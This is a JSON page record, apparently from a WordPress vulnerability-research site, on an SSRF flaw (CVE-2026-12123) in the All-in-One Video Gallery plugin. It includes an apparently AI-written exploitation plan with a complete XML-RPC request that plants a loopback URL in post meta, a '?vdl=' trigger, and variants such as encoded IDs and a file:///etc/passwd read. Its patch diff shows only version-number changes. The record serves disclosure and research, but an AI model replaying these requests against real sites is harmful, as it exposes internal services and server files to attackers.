[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fmpWKWCMB5WeGsQkzIVHFCbyElnbXLLvfpZ7k1SBDFbk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-12123","all-in-one-video-gallery-authenticated-subscriber-server-side-request-forgery-via-vdl-parameter","All-in-One Video Gallery \u003C= 4.8.5 - Authenticated (Subscriber+) Server-Side Request Forgery via 'vdl' Parameter","The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.8.5 via the 'vdl' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. A Subscriber-level attacker can plant an internal or loopback URL in the `mp4` post meta of a newly created `aiovg_videos` post via XML-RPC `wp.newPost`, then trigger the unauthenticated `?vdl=\u003Cpost_id>` endpoint to force the server to fetch that URL and stream the full response body back to the requester.","all-in-one-video-gallery",null,"\u003C=4.8.5","4.9.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-07-09 16:59:54","2026-07-10 05:34:04",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa3bb454c-ac0e-4915-8c6e-070596f7595a?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","all-in-one-video-gallery.php","freemius\u002Fassets\u002Fjs\u002Fpricing\u002Ffreemius-pricing.js","freemius\u002Fincludes\u002Fclass-freemius.php","freemius\u002Fstart.php","includes\u002Fhelpers\u002Ffunctions.php","languages\u002Fall-in-one-video-gallery.pot","public\u002Fcategories.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-12123\n\n## 1. Vulnerability Summary\nThe **All-in-One Video Gallery** plugin (\u003C= 4.8.5) is vulnerable to an **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists due to an unauthenticated endpoint `?vdl=\u003Cpost_id>` that fetches and streams the content of a URL stored in the `mp4` post meta of an `aiovg_videos` post. While the trigger is unauthenticated, the setup requires an attacker with at least **Subscriber-level** permissions to create a post and inject a malicious URL into the `mp4` metadata via the WordPress XML-RPC API.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Parameter:** `vdl` (GET parameter on the site root or `index.php`).\n- **Metadata Source:** `mp4` post meta key associated with the `aiovg_videos` post type.\n- **Authentication Required:** \n    - **Setup Phase:** Subscriber-level credentials (authenticated).\n    - **Trigger Phase:** Unauthenticated (no login required).\n- **Endpoint:** `\u002F?vdl=[post_id]`\n- **Mechanism:** The plugin retrieves the URL from the `mp4` meta of the specified post ID and uses a server-side HTTP client to fetch the content, which is then passed directly back to the requester.\n\n## 3. Code Flow (Inferred)\nBased on the vulnerability description and the provided file list (specifically `languages\u002Fall-in-one-video-gallery.pot` referencing `public\u002Fvideo.php`):\n\n1. **Entry Point:** A hook in `public\u002Fvideo.php` (registered via `init` or `template_redirect`) checks for the presence of `$_GET['vdl']`.\n2. **Post Retrieval:** The code calls `get_post( (int) $_GET['vdl'] )` to verify the existence of the video post.\n3. **Meta Retrieval:** The code retrieves the video source URL using `get_post_meta( $post_id, 'mp4', true )`.\n4. **SSRF Sink:** The server invokes an HTTP request (likely via `wp_remote_get` or `curl`) to the retrieved URL.\n5. **Data Exfiltration:** The response body of the HTTP request is echoed to the output buffer, effectively streaming the internal resource back to the attacker.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description explicitly states that the `?vdl=\u003Cpost_id>` endpoint is **unauthenticated**. \n- **Setup (XML-RPC):** XML-RPC `wp.newPost` does not use standard WordPress nonces; it relies on username\u002Fpassword authentication.\n- **Trigger (vdl):** This endpoint is designed for file downloads or streaming and typically lacks nonce protection to support external player requests.\n\n**Conclusion:** No nonce acquisition is required for this exploit.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create a Malicious Video Post via XML-RPC\nUse the XML-RPC `wp.newPost` method to create an `aiovg_videos` post containing the SSRF payload in the `mp4` custom field.\n\n**HTTP Request (http_request tool):**\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fxmlrpc.php`\n- **Headers:** `Content-Type: text\u002Fxml`\n- **Body:**\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n  \u003CmethodName>wp.newPost\u003C\u002FmethodName>\n  \u003Cparams>\n    \u003Cparam>\u003Cvalue>\u003Cint>1\u003C\u002Fint>\u003C\u002Fvalue>\u003C\u002Fparam> \u003C!-- blog_id -->\n    \u003Cparam>\u003Cvalue>\u003Cstring>subscriber_user\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fparam>\n    \u003Cparam>\u003Cvalue>\u003Cstring>subscriber_password\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fparam>\n    \u003Cparam>\n      \u003Cvalue>\n        \u003Cstruct>\n          \u003Cmember>\n            \u003Cname>post_type\u003C\u002Fname>\n            \u003Cvalue>\u003Cstring>aiovg_videos\u003C\u002Fstring>\u003C\u002Fvalue>\n          \u003C\u002Fmember>\n          \u003Cmember>\n            \u003Cname>post_status\u003C\u002Fname>\n            \u003Cvalue>\u003Cstring>publish\u003C\u002Fstring>\u003C\u002Fvalue>\n          \u003C\u002Fmember>\n          \u003Cmember>\n            \u003Cname>post_title\u003C\u002Fname>\n            \u003Cvalue>\u003Cstring>SSRF PoC\u003C\u002Fstring>\u003C\u002Fvalue>\n          \u003C\u002Fmember>\n          \u003Cmember>\n            \u003Cname>custom_fields\u003C\u002Fname>\n            \u003Cvalue>\n              \u003Carray>\n                \u003Cdata>\n                  \u003Cvalue>\n                    \u003Cstruct>\n                      \u003Cmember>\n                        \u003Cname>key\u003C\u002Fname>\n                        \u003Cvalue>\u003Cstring>mp4\u003C\u002Fstring>\u003C\u002Fvalue>\n                      \u003C\u002Fmember>\n                      \u003Cmember>\n                        \u003Cname>value\u003C\u002Fname>\n                        \u003Cvalue>\u003Cstring>http:\u002F\u002F127.0.0.1:80\u002Fwp-admin\u002F\u003C\u002Fstring>\u003C\u002Fvalue>\n                      \u003C\u002Fmember>\n                    \u003C\u002Fstruct>\n                  \u003C\u002Fvalue>\n                \u003C\u002Fdata>\n              \u003C\u002Farray>\n            \u003C\u002Fvalue>\n          \u003C\u002Fmember>\n        \u003C\u002Fstruct>\n      \u003C\u002Fvalue>\n    \u003C\u002Fparam>\n  \u003C\u002Fparams>\n\u003C\u002FmethodCall>\n```\n\n### Step 2: Trigger the SSRF\nExtract the `post_id` from the XML-RPC response (e.g., `\u003Cvalue>\u003Cstring>123\u003C\u002Fstring>\u003C\u002Fvalue>`) and request the `vdl` endpoint.\n\n**HTTP Request (http_request tool):**\n- **Method:** `GET`\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002F?vdl=123`\n- **Expected Response:** The HTML source of the internal `wp-admin` page or the response from the targeted internal service.\n\n## 6. Test Data Setup\n1. **User Creation:** Create a user with the `subscriber` role.\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n   ```\n2. **Plugin Configuration:** Ensure the All-in-One Video Gallery plugin is active.\n3. **XML-RPC Check:** Ensure XML-RPC is enabled (default in modern WP).\n\n## 7. Expected Results\n- The XML-RPC request should return a new `post_id`.\n- The GET request to `?vdl=[post_id]` should return the content of `http:\u002F\u002F127.0.0.1:80\u002Fwp-admin\u002F` (or any other specified internal URL), proving the server made the request and relayed the response.\n\n## 8. Verification Steps\n1. **Check Post Creation:** Use WP-CLI to verify the post and meta were created correctly.\n   ```bash\n   wp post list --post_type=aiovg_videos\n   wp post meta list [POST_ID]\n   ```\n2. **Verify SSRF Log:** If the test environment has access to server logs, verify that a request originated from the web server's IP to the target URL.\n\n## 9. Alternative Approaches\n- **Encoded IDs:** If `?vdl=123` fails, check if the ID needs to be base64 encoded using the plugin's internal logic.\n    - Reference `includes\u002Fhelpers\u002Ffunctions.php`: `aiovg_base64_encode('123')`.\n    - Try: `?vdl=MTIz.` (Base64 for 123 using the plugin's specific char replacement: `+` to `-`, `\u002F` to `_`, `=` to `.`).\n- **Different Post Status:** If `publish` is restricted via XML-RPC for subscribers, try `pending`. The `vdl` handler might not check the post status.\n- **Protocol Variations:** Test with other protocols if the underlying PHP environment supports them (e.g., `file:\u002F\u002F\u002Fetc\u002Fpasswd`).","The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via the 'vdl' parameter in versions up to 4.8.5. Authenticated attackers with Subscriber-level access can inject malicious internal URLs into the 'mp4' post meta of a video post and then trigger the server to fetch and stream the response body of that URL by requesting the unauthenticated 'vdl' endpoint.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fall-in-one-video-gallery\u002F4.8.5\u002Fall-in-one-video-gallery.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fall-in-one-video-gallery\u002F4.9.0\u002Fall-in-one-video-gallery.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fall-in-one-video-gallery\u002F4.8.5\u002Fall-in-one-video-gallery.php\t2026-05-11 04:55:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fall-in-one-video-gallery\u002F4.9.0\u002Fall-in-one-video-gallery.php\t2026-06-23 04:21:00.000000000 +0000\n@@ -11,7 +11,7 @@\n  * Plugin Name:     All-in-One Video Gallery\n  * Plugin URI:      https:\u002F\u002Fplugins360.com\u002Fall-in-one-video-gallery\u002F\n  * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.\n- * Version:         4.8.5\n+ * Version:         4.9.0\n  * Author:          Team Plugins360\n  * Author URI:      https:\u002F\u002Fplugins360.com\n  * License:         GPL-2.0+\n@@ -69,7 +69,7 @@\n }\n \u002F\u002F The current version of the plugin\n if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {\n-    define( 'AIOVG_PLUGIN_VERSION', '4.8.5' );\n+    define( 'AIOVG_PLUGIN_VERSION', '4.9.0' );\n }","1. Authenticate to the WordPress site as a user with Subscriber-level permissions or higher.\n2. Use the WordPress XML-RPC API (typically at `\u002Fxmlrpc.php`) with the `wp.newPost` method to create a new post of type `aiovg_videos`.\n3. In the post creation request, include a custom field (metadata) with the key `mp4` and a value containing the target internal or loopback URL (e.g., `http:\u002F\u002F127.0.0.1\u002Fwp-admin\u002F`).\n4. Extract the resulting `post_id` from the XML-RPC response.\n5. Trigger the SSRF by sending an unauthenticated GET request to the site root using the `vdl` parameter (e.g., `\u002F?vdl=[post_id]`). Note: The plugin may require the ID to be base64-encoded using its specific character mapping (+ to -, \u002F to _, = to .).\n6. The plugin's back-end handler will retrieve the URL from the post meta, perform a server-side request to that URL, and echo the entire response body back to the attacker.","gemini-3-flash-preview","2026-07-15 11:20:30","2026-07-15 11:21:26",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","4.8.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fall-in-one-video-gallery\u002Ftags\u002F4.8.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fall-in-one-video-gallery.4.8.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fall-in-one-video-gallery\u002Ftags\u002F4.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fall-in-one-video-gallery.4.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fall-in-one-video-gallery\u002Ftags"]